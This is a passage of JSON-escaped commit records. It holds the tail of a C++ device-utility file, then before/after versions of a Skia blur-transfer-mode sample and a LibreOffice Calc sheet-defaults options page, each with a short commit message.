- input string\n * @param tokens - output array of tokens\n * @param delimiters - a string containing a set of single-character token delimiters\n *\/\nvoid CDeviceUtils::Tokenize(const std::string& str, std::vector<std::string>& tokens, const std::string& delimiters)\n{\n    \/\/ Skip delimiters at beginning.\n   std::string::size_type lastPos = str.find_first_not_of(delimiters, 0);\n    \/\/ Find first \"non-delimiter\".\n   std::string::size_type pos     = str.find_first_of(delimiters, lastPos);\n\n   while (std::string::npos != pos || std::string::npos != lastPos)\n    {\n        \/\/ Found a token, add it to the vector.\n        tokens.push_back(str.substr(lastPos, pos - lastPos));\n        \/\/ Skip delimiters.  Note the \"not_of\"\n        lastPos = str.find_first_not_of(delimiters, pos);\n        \/\/ Find next \"non-delimiter\"\n        pos = str.find_first_of(delimiters, lastPos);\n    }\n}\n\n\/**\n * Block the current thread for the specified interval in milliseconds.\n *\/\nvoid CDeviceUtils::SleepMs(long periodMs)\n{\n#ifdef WIN32\n   Sleep(periodMs);\n#else\n   usleep(periodMs * 1000);\n#endif\n}\n\n\n\n#ifdef _WINDOWS\n \nint gettimeofday(struct timeval *tv, struct timezone *tz)\n{\n  FILETIME ft;\n  unsigned __int64 tmpres = 0;\n  static int tzflag;\n \n  if (NULL != tv)\n  {\n    GetSystemTimeAsFileTime(&ft);\n \n    tmpres |= ft.dwHighDateTime;\n    tmpres <<= 32;\n    tmpres |= ft.dwLowDateTime;\n \n    \/*converting file time to unix epoch*\/\n    tmpres -= DELTA_EPOCH_IN_MICROSECS; \n    tmpres \/= 10;  \/*convert into microseconds*\/\n    tv->tv_sec = (long)(tmpres \/ 1000000UL);\n    tv->tv_usec = (long)(tmpres % 1000000UL);\n  }\n \n  if (NULL != tz)\n  {\n    if (!tzflag)\n    {\n      _tzset();\n      tzflag++;\n    }\n    tz->tz_minuteswest = _timezone \/ 60;\n    tz->tz_dsttime = _daylight;\n  }\n \n  return 0;\n}\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\n\/*\n * Copyright 2011 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#include \"SampleCode.h\"\n#include \"SkView.h\"\n#include \"SkCanvas.h\"\n#include \"Sk64.h\"\n#include \"SkCornerPathEffect.h\"\n#include \"SkGradientShader.h\"\n#include \"SkGraphics.h\"\n#include \"SkImageDecoder.h\"\n#include \"SkKernel33MaskFilter.h\"\n#include \"SkPath.h\"\n#include \"SkRandom.h\"\n#include \"SkRegion.h\"\n#include \"SkShader.h\"\n#include \"SkUtils.h\"\n#include \"SkColorPriv.h\"\n#include \"SkColorFilter.h\"\n#include \"SkTime.h\"\n#include \"SkTypeface.h\"\n#include \"SkXfermode.h\"\n\n#include \"SkStream.h\"\n#include \"SkXMLParser.h\"\n#include \"SkColorPriv.h\"\n#include \"SkImageDecoder.h\"\n#include \"SkBlurMaskFilter.h\"\n\nstatic void setNamedTypeface(SkPaint* paint, const char name[]) {\n    SkTypeface* face = SkTypeface::CreateFromName(name, SkTypeface::kNormal);\n    paint->setTypeface(face);\n    SkSafeUnref(face);\n}\n\nstatic uint16_t gBG[] = { 0xFFFF, 0xCCCF, 0xCCCF, 0xFFFF };\n\nclass XfermodesBlurView : public SampleView {\n    SkBitmap    fBG;\n    SkBitmap    fSrcB, fDstB;\n\n    void draw_mode(SkCanvas* canvas, SkXfermode* mode, int alpha,\n                   SkScalar x, SkScalar y) {\n        SkPaint p;\n        SkMaskFilter* mf = SkBlurMaskFilter::Create(5, SkBlurMaskFilter::kNormal_BlurStyle, 0);\n        p.setMaskFilter(mf)->unref();\n\n        SkScalar ww = SkIntToScalar(W);\n        SkScalar hh = SkIntToScalar(H);\n\n        \/\/ draw a circle covering the upper\n        \/\/ left three quarters of the canvas\n        p.setColor(0xFFCC44FF);\n        SkRect r;\n        r.set(0, 0, ww*3\/4, hh*3\/4);\n        r.offset(x, y);\n        canvas->drawOval(r, p);\n\n        p.setXfermode(mode);\n\n        \/\/ draw a square overlapping the circle\n        \/\/ in the lower right of the canvas\n        p.setColor(0x00AA6633 | alpha << 24);\n        r.set(ww\/3, hh\/3, ww*19\/20, hh*19\/20);\n        r.offset(x, y);\n        canvas->drawRect(r, p);\n    }\n\npublic:\n    const static int W = 64;\n    const static int H = 64;\n    XfermodesBlurView() {\n        const int W = 64;\n        const int H = 64;\n\n        fBG.setConfig(SkBitmap::kARGB_4444_Config, 2, 2, 4);\n        fBG.setPixels(gBG);\n        fBG.setIsOpaque(true);\n    }\n\nprotected:\n    \/\/ overrides from SkEventSink\n    virtual bool onQuery(SkEvent* evt) {\n        if (SampleCode::TitleQ(*evt)) {\n            SampleCode::TitleR(evt, \"XfermodesBlur\");\n            return true;\n        }\n        return this->INHERITED::onQuery(evt);\n    }\n\n    virtual void onDrawContent(SkCanvas* canvas) {\n        canvas->translate(SkIntToScalar(10), SkIntToScalar(20));\n\n        if (false) {\n            SkPaint paint;\n            paint.setAntiAlias(true);\n            paint.setTextSize(50);\n            paint.setTypeface(SkTypeface::CreateFromName(\"Arial Unicode MS\", SkTypeface::kNormal));\n            SkSafeUnref(paint.getTypeface());\n            char buffer[10];\n            size_t len = SkUTF8_FromUnichar(0x8500, buffer);\n            canvas->drawText(buffer, len, 40, 40, paint);\n            return;\n        }\n        if (true) {\n            SkPaint paint;\n            paint.setAntiAlias(true);\n            \n            SkRect r0 = { 0, 0, 10.5f, 20 };\n            SkRect r1 = { 10.5f, 10, 20, 30 };\n            paint.setColor(SK_ColorRED);\n            canvas->drawRect(r0, paint);\n            paint.setColor(SK_ColorBLUE);\n            canvas->drawRect(r1, paint);\n            return;\n        }\n\n        const struct {\n            SkXfermode::Mode  fMode;\n            const char*         fLabel;\n        } gModes[] = {\n            { SkXfermode::kClear_Mode,    \"Clear\"     },\n            { SkXfermode::kSrc_Mode,      \"Src\"       },\n            { SkXfermode::kDst_Mode,      \"Dst\"       },\n            { SkXfermode::kSrcOver_Mode,  \"SrcOver\"   },\n            { SkXfermode::kDstOver_Mode,  \"DstOver\"   },\n            { SkXfermode::kSrcIn_Mode,    \"SrcIn\"     },\n            { SkXfermode::kDstIn_Mode,    \"DstIn\"     },\n            { SkXfermode::kSrcOut_Mode,   \"SrcOut\"    },\n            { SkXfermode::kDstOut_Mode,   \"DstOut\"    },\n            { SkXfermode::kSrcATop_Mode,  \"SrcATop\"   },\n            { SkXfermode::kDstATop_Mode,  \"DstATop\"   },\n            { SkXfermode::kXor_Mode,      \"Xor\"       },\n\n            { SkXfermode::kPlus_Mode,         \"Plus\"          },\n            \/*{ SkXfermode::kMultiply_Mode,     \"Multiply\"      },\n            { SkXfermode::kScreen_Mode,       \"Screen\"        },\n            { SkXfermode::kOverlay_Mode,      \"Overlay\"       },\n            { SkXfermode::kDarken_Mode,       \"Darken\"        },\n            { SkXfermode::kLighten_Mode,      \"Lighten\"       },\n            { SkXfermode::kColorDodge_Mode,   \"ColorDodge\"    },\n            { SkXfermode::kColorBurn_Mode,    \"ColorBurn\"     },\n            { SkXfermode::kHardLight_Mode,    \"HardLight\"     },\n            { SkXfermode::kSoftLight_Mode,    \"SoftLight\"     },\n            { SkXfermode::kDifference_Mode,   \"Difference\"    },\n            { SkXfermode::kExclusion_Mode,    \"Exclusion\"     },*\/\n        };\n\n        const SkScalar w = SkIntToScalar(W);\n        const SkScalar h = SkIntToScalar(H);\n        SkShader* s = SkShader::CreateBitmapShader(fBG,\n                                                   SkShader::kRepeat_TileMode,\n                                                   SkShader::kRepeat_TileMode);\n        SkMatrix m;\n        m.setScale(SkIntToScalar(6), SkIntToScalar(6));\n        s->setLocalMatrix(m);\n\n        SkPaint labelP;\n        labelP.setAntiAlias(true);\n        labelP.setLCDRenderText(true);\n        labelP.setTextAlign(SkPaint::kCenter_Align);\n        setNamedTypeface(&labelP, \"Menlo Regular\");\n\n        const int W = 5;\n\n        SkScalar x0 = 0;\n        for (int twice = 0; twice < 2; twice++) {\n            SkScalar x = x0, y = 0;\n            for (size_t i = 0; i < SK_ARRAY_COUNT(gModes); i++) {\n                SkXfermode* mode = SkXfermode::Create(gModes[i].fMode);\n                SkAutoUnref aur(mode);\n                SkRect r;\n                r.set(x, y, x+w, y+h);\n\n                SkPaint p;\n                p.setStyle(SkPaint::kFill_Style);\n                p.setShader(s);\n                canvas->drawRect(r, p);\n\n                canvas->saveLayer(&r, NULL, SkCanvas::kARGB_ClipLayer_SaveFlag);\n                draw_mode(canvas, mode, twice ? 0x88 : 0xFF, r.fLeft, r.fTop);\n                canvas->restore();\n\n                r.inset(-SK_ScalarHalf, -SK_ScalarHalf);\n                p.setStyle(SkPaint::kStroke_Style);\n                p.setShader(NULL);\n                canvas->drawRect(r, p);\n\n                canvas->drawText(gModes[i].fLabel, strlen(gModes[i].fLabel),\n                                 x + w\/2, y - labelP.getTextSize()\/2, labelP);\n                x += w + SkIntToScalar(10);\n                if ((i % W) == W - 1) {\n                    x = x0;\n                    y += h + SkIntToScalar(30);\n                }\n            }\n            x0 += SkIntToScalar(400);\n        }\n        s->unref();\n    }\n\nprivate:\n    typedef SampleView INHERITED;\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstatic SkView* MyFactory() { return new XfermodesBlurView; }\nstatic SkViewRegister reg(MyFactory);\n<commit_msg>disable test<commit_after>\n\/*\n * Copyright 2011 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#include \"SampleCode.h\"\n#include \"SkView.h\"\n#include \"SkCanvas.h\"\n#include \"Sk64.h\"\n#include \"SkCornerPathEffect.h\"\n#include \"SkGradientShader.h\"\n#include \"SkGraphics.h\"\n#include \"SkImageDecoder.h\"\n#include \"SkKernel33MaskFilter.h\"\n#include \"SkPath.h\"\n#include \"SkRandom.h\"\n#include \"SkRegion.h\"\n#include \"SkShader.h\"\n#include \"SkUtils.h\"\n#include \"SkColorPriv.h\"\n#include \"SkColorFilter.h\"\n#include \"SkTime.h\"\n#include \"SkTypeface.h\"\n#include \"SkXfermode.h\"\n\n#include \"SkStream.h\"\n#include \"SkXMLParser.h\"\n#include \"SkColorPriv.h\"\n#include \"SkImageDecoder.h\"\n#include \"SkBlurMaskFilter.h\"\n\nstatic void setNamedTypeface(SkPaint* paint, const char name[]) {\n    SkTypeface* face = SkTypeface::CreateFromName(name, SkTypeface::kNormal);\n    paint->setTypeface(face);\n    SkSafeUnref(face);\n}\n\nstatic uint16_t gBG[] = { 0xFFFF, 0xCCCF, 0xCCCF, 0xFFFF };\n\nclass XfermodesBlurView : public SampleView {\n    SkBitmap    fBG;\n    SkBitmap    fSrcB, fDstB;\n\n    void draw_mode(SkCanvas* canvas, SkXfermode* mode, int alpha,\n                   SkScalar x, SkScalar y) {\n        SkPaint p;\n        SkMaskFilter* mf = SkBlurMaskFilter::Create(5, SkBlurMaskFilter::kNormal_BlurStyle, 0);\n        p.setMaskFilter(mf)->unref();\n\n        SkScalar ww = SkIntToScalar(W);\n        SkScalar hh = SkIntToScalar(H);\n\n        \/\/ draw a circle covering the upper\n        \/\/ left three quarters of the canvas\n        p.setColor(0xFFCC44FF);\n        SkRect r;\n        r.set(0, 0, ww*3\/4, hh*3\/4);\n        r.offset(x, y);\n        canvas->drawOval(r, p);\n\n        p.setXfermode(mode);\n\n        \/\/ draw a square overlapping the circle\n        \/\/ in the lower right of the canvas\n        p.setColor(0x00AA6633 | alpha << 24);\n        r.set(ww\/3, hh\/3, ww*19\/20, hh*19\/20);\n        r.offset(x, y);\n        canvas->drawRect(r, p);\n    }\n\npublic:\n    const static int W = 64;\n    const static int H = 64;\n    XfermodesBlurView() {\n        const int W = 64;\n        const int H = 64;\n\n        fBG.setConfig(SkBitmap::kARGB_4444_Config, 2, 2, 4);\n        fBG.setPixels(gBG);\n        fBG.setIsOpaque(true);\n    }\n\nprotected:\n    \/\/ overrides from SkEventSink\n    virtual bool onQuery(SkEvent* evt) {\n        if (SampleCode::TitleQ(*evt)) {\n            SampleCode::TitleR(evt, \"XfermodesBlur\");\n            return true;\n        }\n        return this->INHERITED::onQuery(evt);\n    }\n\n    virtual void onDrawContent(SkCanvas* canvas) {\n        canvas->translate(SkIntToScalar(10), SkIntToScalar(20));\n\n        if (false) {\n            SkPaint paint;\n            paint.setAntiAlias(true);\n            paint.setTextSize(50);\n            paint.setTypeface(SkTypeface::CreateFromName(\"Arial Unicode MS\", SkTypeface::kNormal));\n            SkSafeUnref(paint.getTypeface());\n            char buffer[10];\n            size_t len = SkUTF8_FromUnichar(0x8500, buffer);\n            canvas->drawText(buffer, len, 40, 40, paint);\n            return;\n        }\n        if (false) {\n            SkPaint paint;\n            paint.setAntiAlias(true);\n            \n            SkRect r0 = { 0, 0, 10.5f, 20 };\n            SkRect r1 = { 10.5f, 10, 20, 30 };\n            paint.setColor(SK_ColorRED);\n            canvas->drawRect(r0, paint);\n            paint.setColor(SK_ColorBLUE);\n            canvas->drawRect(r1, paint);\n            return;\n        }\n\n        const struct {\n            SkXfermode::Mode  fMode;\n            const char*         fLabel;\n        } gModes[] = {\n            { SkXfermode::kClear_Mode,    \"Clear\"     },\n            { SkXfermode::kSrc_Mode,      \"Src\"       },\n            { SkXfermode::kDst_Mode,      \"Dst\"       },\n            { SkXfermode::kSrcOver_Mode,  \"SrcOver\"   },\n            { SkXfermode::kDstOver_Mode,  \"DstOver\"   },\n            { SkXfermode::kSrcIn_Mode,    \"SrcIn\"     },\n            { SkXfermode::kDstIn_Mode,    \"DstIn\"     },\n            { SkXfermode::kSrcOut_Mode,   \"SrcOut\"    },\n            { SkXfermode::kDstOut_Mode,   \"DstOut\"    },\n            { SkXfermode::kSrcATop_Mode,  \"SrcATop\"   },\n            { SkXfermode::kDstATop_Mode,  \"DstATop\"   },\n            { SkXfermode::kXor_Mode,      \"Xor\"       },\n\n            { SkXfermode::kPlus_Mode,         \"Plus\"          },\n            \/*{ SkXfermode::kMultiply_Mode,     \"Multiply\"      },\n            { SkXfermode::kScreen_Mode,       \"Screen\"        },\n            { SkXfermode::kOverlay_Mode,      \"Overlay\"       },\n            { SkXfermode::kDarken_Mode,       \"Darken\"        },\n            { SkXfermode::kLighten_Mode,      \"Lighten\"       },\n            { SkXfermode::kColorDodge_Mode,   \"ColorDodge\"    },\n            { SkXfermode::kColorBurn_Mode,    \"ColorBurn\"     },\n            { SkXfermode::kHardLight_Mode,    \"HardLight\"     },\n            { SkXfermode::kSoftLight_Mode,    \"SoftLight\"     },\n            { SkXfermode::kDifference_Mode,   \"Difference\"    },\n            { SkXfermode::kExclusion_Mode,    \"Exclusion\"     },*\/\n        };\n\n        const SkScalar w = SkIntToScalar(W);\n        const SkScalar h = SkIntToScalar(H);\n        SkShader* s = SkShader::CreateBitmapShader(fBG,\n                                                   SkShader::kRepeat_TileMode,\n                                                   SkShader::kRepeat_TileMode);\n        SkMatrix m;\n        m.setScale(SkIntToScalar(6), SkIntToScalar(6));\n        s->setLocalMatrix(m);\n\n        SkPaint labelP;\n        labelP.setAntiAlias(true);\n        labelP.setLCDRenderText(true);\n        labelP.setTextAlign(SkPaint::kCenter_Align);\n        setNamedTypeface(&labelP, \"Menlo Regular\");\n\n        const int W = 5;\n\n        SkScalar x0 = 0;\n        for (int twice = 0; twice < 2; twice++) {\n            SkScalar x = x0, y = 0;\n            for (size_t i = 0; i < SK_ARRAY_COUNT(gModes); i++) {\n                SkXfermode* mode = SkXfermode::Create(gModes[i].fMode);\n                SkAutoUnref aur(mode);\n                SkRect r;\n                r.set(x, y, x+w, y+h);\n\n                SkPaint p;\n                p.setStyle(SkPaint::kFill_Style);\n                p.setShader(s);\n                canvas->drawRect(r, p);\n\n                canvas->saveLayer(&r, NULL, SkCanvas::kARGB_ClipLayer_SaveFlag);\n                draw_mode(canvas, mode, twice ? 0x88 : 0xFF, r.fLeft, r.fTop);\n                canvas->restore();\n\n                r.inset(-SK_ScalarHalf, -SK_ScalarHalf);\n                p.setStyle(SkPaint::kStroke_Style);\n                p.setShader(NULL);\n                canvas->drawRect(r, p);\n\n                canvas->drawText(gModes[i].fLabel, strlen(gModes[i].fLabel),\n                                 x + w\/2, y - labelP.getTextSize()\/2, labelP);\n                x += w + SkIntToScalar(10);\n                if ((i % W) == W - 1) {\n                    x = x0;\n                    y += h + SkIntToScalar(30);\n                }\n            }\n            x0 += SkIntToScalar(400);\n        }\n        s->unref();\n    }\n\nprivate:\n    typedef SampleView INHERITED;\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstatic SkView* MyFactory() { return new XfermodesBlurView; }\nstatic SkViewRegister reg(MyFactory);\n<|endoftext|>"}
{"text":"<commit_before>\/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- *\/\n\/*\n * Version: MPL 1.1 \/ GPLv3+ \/ LGPLv3+\n *\n * The contents of this file are subject to the Mozilla Public License Version\n * 1.1 (the \"License\"); you may not use this file except in compliance with\n * the License. You may obtain a copy of the License at\n * http:\/\/www.mozilla.org\/MPL\/\n *\n * Software distributed under the License is distributed on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License\n * for the specific language governing rights and limitations under the\n * License.\n *\n * The Initial Developer of the Original Code is\n *       Albert Thuswaldner <albert.thuswaldner@gmail.com>\n * Portions created by the Initial Developer are Copyright (C) 2011 the\n * Initial Developer. All Rights Reserved.\n *\n * Contributor(s):\n *\n * Alternatively, the contents of this file may be used under the terms of\n * either the GNU General Public License Version 3 or later (the \"GPLv3+\"), or\n * the GNU Lesser General Public License Version 3 or later (the \"LGPLv3+\"),\n * in which case the provisions of the GPLv3+ or the LGPLv3+ are applicable\n * instead of those above.\n *\/\n\n\n#undef SC_DLLIMPLEMENTATION\n\n#include \"tpdefaults.hxx\"\n#include \"optdlg.hrc\"\n#include \"scresid.hxx\"\n#include \"scmod.hxx\"\n#include \"docoptio.hxx\"\n#include \"document.hxx\"\n#include \"global.hxx\"\n#include \"globstr.hrc\"\n\n#define INIT_SHEETS_MIN 1\n#define INIT_SHEETS_MAX 1024\n\nusing ::rtl::OUString;\n\nScTpDefaultsOptions::ScTpDefaultsOptions(Window *pParent, const SfxItemSet &rCoreAttrs) :\n    SfxTabPage(pParent, ScResId(RID_SCPAGE_DEFAULTS), rCoreAttrs),\n    aFLInitSpreadSheet ( this, ScResId( FL_INIT_SPREADSHEET ) ),\n    aFtNSheets         ( this, ScResId( FT_NSHEETS ) ),\n    aEdNSheets         ( this, ScResId( ED_NSHEETS ) ),\n    aFtSheetPrefix     ( this, ScResId( FT_SHEETPREFIX ) ),\n    aEdSheetPrefix     ( this, ScResId( ED_SHEETPREFIX ) )\n{\n    FreeResource();\n\n    const ScTpCalcItem& rItem = static_cast<const ScTpCalcItem&>(\n        rCoreAttrs.Get(GetWhich(SID_SCDOCOPTIONS)));\n    mpOldOptions.reset(new ScDocOptions(rItem.GetDocOptions()));\n    mpNewOptions.reset(new ScDocOptions(rItem.GetDocOptions()));\n\n    long nTxtW = aFtNSheets.GetCtrlTextWidth( aFtNSheets.GetText() );\n    long nCtrlW = aFtNSheets.GetSizePixel().Width();\n    if ( nTxtW >= nCtrlW )\n    {\n        Size aNewSize = aFtNSheets.GetSizePixel();\n        aNewSize.Width() += ( nTxtW - nCtrlW );\n        aFtNSheets.SetSizePixel( aNewSize );\n        Point aNewPoint = aEdNSheets.GetPosPixel();\n        aNewPoint.X() += ( nTxtW - nCtrlW );\n        aEdNSheets.SetPosPixel( aNewPoint );\n   }\n    aEdNSheets.SetModifyHdl( LINK(this, ScTpDefaultsOptions, NumModifiedHdl) );\n    aEdSheetPrefix.SetModifyHdl( LINK(this, ScTpDefaultsOptions, PrefixModifiedHdl) );\n    aEdSheetPrefix.SetGetFocusHdl( LINK(this, ScTpDefaultsOptions, PrefixEditOnFocusHdl) );\n}\n\nScTpDefaultsOptions::~ScTpDefaultsOptions()\n{\n}\n\nSfxTabPage* ScTpDefaultsOptions::Create(Window *pParent, const SfxItemSet &rCoreAttrs)\n{\n    return new ScTpDefaultsOptions(pParent, rCoreAttrs);\n}\n\nsal_Bool ScTpDefaultsOptions::FillItemSet(SfxItemSet &rCoreAttrs)\n{\n    SCTAB nTabCount = static_cast<SCTAB>(aEdNSheets.GetValue());\n    OUString aSheetPrefix = aEdSheetPrefix.GetText();\n\n    mpNewOptions->SetInitTabCount( nTabCount );\n    mpNewOptions->SetInitTabPrefix( aSheetPrefix );\n\n    if (*mpNewOptions != *mpOldOptions)\n    {\n        rCoreAttrs.Put(ScTpCalcItem(GetWhich(SID_SCDOCOPTIONS), *mpNewOptions));\n        return sal_True;\n    }\n    else\n        return sal_False;\n}\n\nvoid ScTpDefaultsOptions::Reset(const SfxItemSet& \/*rCoreAttrs*\/)\n{\n    aEdNSheets.SetValue( static_cast<sal_uInt16>(mpOldOptions->GetInitTabCount()) );\n    aEdSheetPrefix.SetText( mpOldOptions->GetInitTabPrefix() );\n}\n\nint ScTpDefaultsOptions::DeactivatePage(SfxItemSet* \/*pSet*\/)\n{\n    return KEEP_PAGE;\n}\n\nvoid ScTpDefaultsOptions::CheckNumSheets()\n{\n    sal_Int64 nVal = aEdNSheets.GetValue();\n    if (nVal > INIT_SHEETS_MAX)\n        aEdNSheets.SetValue(INIT_SHEETS_MAX);\n    if (nVal < INIT_SHEETS_MIN)\n        aEdNSheets.SetValue(INIT_SHEETS_MIN);\n}\n\nvoid ScTpDefaultsOptions::CheckPrefix(Edit* pEdit)\n{\n    if (!pEdit)\n        return;\n\n    OUString aSheetPrefix = pEdit->GetText();\n\n    if ( !ScDocument::ValidTabName( aSheetPrefix ) )\n    {\n        \/\/ Revert to last good Prefix\n        pEdit->SetText( maOldPrefixValue );\n    }\n    else\n    {\n        OnFocusPrefixInput(pEdit);\n    }\n}\n\nvoid ScTpDefaultsOptions::OnFocusPrefixInput(Edit* pEdit)\n{\n    if (!pEdit)\n        return;\n\n    \/\/ Store Prefix in case we need to revert\n    maOldPrefixValue = pEdit->GetText();\n}\n\n\nIMPL_LINK( ScTpDefaultsOptions, NumModifiedHdl, NumericField*, EMPTYARG )\n{\n    CheckNumSheets();\n    return 0;\n}\n\nIMPL_LINK( ScTpDefaultsOptions, PrefixModifiedHdl, Edit*, pEdit )\n{\n    CheckPrefix(pEdit);\n    return 0;\n}\n\nIMPL_LINK( ScTpDefaultsOptions, PrefixEditOnFocusHdl, Edit*, pEdit )\n{\n    OnFocusPrefixInput(pEdit);\n    return 0;\n}\n\n\n\/* vim:set shiftwidth=4 softtabstop=4 expandtab: *\/\n<commit_msg>some very minor tweak(s) to \"Improvment-of-Custom-Sheet-Prefix-Option\"<commit_after>\/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- *\/\n\/*\n * Version: MPL 1.1 \/ GPLv3+ \/ LGPLv3+\n *\n * The contents of this file are subject to the Mozilla Public License Version\n * 1.1 (the \"License\"); you may not use this file except in compliance with\n * the License. You may obtain a copy of the License at\n * http:\/\/www.mozilla.org\/MPL\/\n *\n * Software distributed under the License is distributed on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License\n * for the specific language governing rights and limitations under the\n * License.\n *\n * The Initial Developer of the Original Code is\n *       Albert Thuswaldner <albert.thuswaldner@gmail.com>\n * Portions created by the Initial Developer are Copyright (C) 2011 the\n * Initial Developer. All Rights Reserved.\n *\n * Contributor(s):\n *\n * Alternatively, the contents of this file may be used under the terms of\n * either the GNU General Public License Version 3 or later (the \"GPLv3+\"), or\n * the GNU Lesser General Public License Version 3 or later (the \"LGPLv3+\"),\n * in which case the provisions of the GPLv3+ or the LGPLv3+ are applicable\n * instead of those above.\n *\/\n\n\n#undef SC_DLLIMPLEMENTATION\n\n#include \"tpdefaults.hxx\"\n#include \"optdlg.hrc\"\n#include \"scresid.hxx\"\n#include \"scmod.hxx\"\n#include \"docoptio.hxx\"\n#include \"document.hxx\"\n#include \"global.hxx\"\n#include \"globstr.hrc\"\n\n#define INIT_SHEETS_MIN 1\n#define INIT_SHEETS_MAX 1024\n\nusing ::rtl::OUString;\n\nScTpDefaultsOptions::ScTpDefaultsOptions(Window *pParent, const SfxItemSet &rCoreAttrs) :\n    SfxTabPage(pParent, ScResId(RID_SCPAGE_DEFAULTS), rCoreAttrs),\n    aFLInitSpreadSheet ( this, ScResId( FL_INIT_SPREADSHEET ) ),\n    aFtNSheets         ( this, ScResId( FT_NSHEETS ) ),\n    aEdNSheets         ( this, ScResId( ED_NSHEETS ) ),\n    aFtSheetPrefix     ( this, ScResId( FT_SHEETPREFIX ) ),\n    aEdSheetPrefix     ( this, ScResId( ED_SHEETPREFIX ) )\n{\n    FreeResource();\n\n    const ScTpCalcItem& rItem = static_cast<const ScTpCalcItem&>(\n        rCoreAttrs.Get(GetWhich(SID_SCDOCOPTIONS)));\n    mpOldOptions.reset(new ScDocOptions(rItem.GetDocOptions()));\n    mpNewOptions.reset(new ScDocOptions(rItem.GetDocOptions()));\n\n    long nTxtW = aFtNSheets.GetCtrlTextWidth( aFtNSheets.GetText() );\n    long nCtrlW = aFtNSheets.GetSizePixel().Width();\n    if ( nTxtW >= nCtrlW )\n    {\n        Size aNewSize = aFtNSheets.GetSizePixel();\n        aNewSize.Width() += ( nTxtW - nCtrlW );\n        aFtNSheets.SetSizePixel( aNewSize );\n        Point aNewPoint = aEdNSheets.GetPosPixel();\n        aNewPoint.X() += ( nTxtW - nCtrlW );\n        aEdNSheets.SetPosPixel( aNewPoint );\n   }\n    aEdNSheets.SetModifyHdl( LINK(this, ScTpDefaultsOptions, NumModifiedHdl) );\n    aEdSheetPrefix.SetModifyHdl( LINK(this, ScTpDefaultsOptions, PrefixModifiedHdl) );\n    aEdSheetPrefix.SetGetFocusHdl( LINK(this, ScTpDefaultsOptions, PrefixEditOnFocusHdl) );\n}\n\nScTpDefaultsOptions::~ScTpDefaultsOptions()\n{\n}\n\nSfxTabPage* ScTpDefaultsOptions::Create(Window *pParent, const SfxItemSet &rCoreAttrs)\n{\n    return new ScTpDefaultsOptions(pParent, rCoreAttrs);\n}\n\nsal_Bool ScTpDefaultsOptions::FillItemSet(SfxItemSet &rCoreAttrs)\n{\n    SCTAB nTabCount = static_cast<SCTAB>(aEdNSheets.GetValue());\n    OUString aSheetPrefix = aEdSheetPrefix.GetText();\n\n    mpNewOptions->SetInitTabCount( nTabCount );\n    mpNewOptions->SetInitTabPrefix( aSheetPrefix );\n\n    if (*mpNewOptions != *mpOldOptions)\n    {\n        rCoreAttrs.Put(ScTpCalcItem(GetWhich(SID_SCDOCOPTIONS), *mpNewOptions));\n        return sal_True;\n    }\n    else\n        return sal_False;\n}\n\nvoid ScTpDefaultsOptions::Reset(const SfxItemSet& \/*rCoreAttrs*\/)\n{\n    aEdNSheets.SetValue( static_cast<sal_uInt16>(mpOldOptions->GetInitTabCount()) );\n    aEdSheetPrefix.SetText( mpOldOptions->GetInitTabPrefix() );\n}\n\nint ScTpDefaultsOptions::DeactivatePage(SfxItemSet* \/*pSet*\/)\n{\n    return KEEP_PAGE;\n}\n\nvoid ScTpDefaultsOptions::CheckNumSheets()\n{\n    sal_Int64 nVal = aEdNSheets.GetValue();\n    if (nVal > INIT_SHEETS_MAX)\n        aEdNSheets.SetValue(INIT_SHEETS_MAX);\n    if (nVal < INIT_SHEETS_MIN)\n        aEdNSheets.SetValue(INIT_SHEETS_MIN);\n}\n\nvoid ScTpDefaultsOptions::CheckPrefix(Edit* pEdit)\n{\n    if (!pEdit)\n        return;\n\n    OUString aSheetPrefix = pEdit->GetText();\n\n    if ( !aSheetPrefix.isEmpty() && !ScDocument::ValidTabName( aSheetPrefix ) )\n    {\n        \/\/ Revert to last good Prefix and also select it to\n        \/\/ indicate something illegal was typed\n        Selection aSel( 0,  maOldPrefixValue.getLength() );\n        pEdit->SetText( maOldPrefixValue, aSel );\n    }\n    else\n    {\n        OnFocusPrefixInput(pEdit);\n    }\n}\n\nvoid ScTpDefaultsOptions::OnFocusPrefixInput(Edit* pEdit)\n{\n    if (!pEdit)\n        return;\n\n    \/\/ Store Prefix in case we need to revert\n    maOldPrefixValue = pEdit->GetText();\n}\n\n\nIMPL_LINK( ScTpDefaultsOptions, NumModifiedHdl, NumericField*, EMPTYARG )\n{\n    CheckNumSheets();\n    return 0;\n}\n\nIMPL_LINK( ScTpDefaultsOptions, PrefixModifiedHdl, Edit*, pEdit )\n{\n    CheckPrefix(pEdit);\n    return 0;\n}\n\nIMPL_LINK( ScTpDefaultsOptions, PrefixEditOnFocusHdl, Edit*, pEdit )\n{\n    OnFocusPrefixInput(pEdit);\n    return 0;\n}\n\n\n\/* vim:set shiftwidth=4 softtabstop=4 expandtab: *\/\n<|endoftext|>"}
